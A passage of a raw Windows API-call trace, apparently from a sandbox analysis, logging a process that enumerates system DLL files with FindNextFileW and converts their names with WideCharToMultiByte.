ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0041.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTNET.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.767] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0041.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.767] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0041.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSVC.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.767] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0041.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.767] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0041.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTXML.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.767] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0041.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x90c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCAPI.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.767] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0041.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x90c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.767] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0041.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x90c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCOBJ.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.768] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0041.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CTL3D32.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.768] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0041.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_G18030.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.768] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0041.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_IS2022.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.768] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0041.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_ISCII.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.768] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0041.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x90c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D2D1.DLL", lpUsedDefaultChar=0x0) returned 8 [0041.768] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0041.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x90c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10.DLL", lpUsedDefaultChar=0x0) returned 9 [0041.768] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0041.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x90c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10CORE.DLL", lpUsedDefaultChar=0x0) returned 13 [0041.769] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0041.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x90c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10LEVEL9.DLL", lpUsedDefaultChar=0x0) returned 15 [0041.769] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0041.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x90c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10WARP.DLL", lpUsedDefaultChar=0x0) returned 13 [0041.769] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0041.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.769] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0041.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x90c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1CORE.DLL", lpUsedDefaultChar=0x0) returned 15 [0041.769] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0041.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x90c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D11.DLL", lpUsedDefaultChar=0x0) returned 9 [0041.769] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0041.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x90c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8.DLL", lpUsedDefaultChar=0x0) returned 8 [0041.769] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0041.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8THK.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.769] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0041.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x90c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D9.DLL", lpUsedDefaultChar=0x0) returned 8 [0041.770] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, 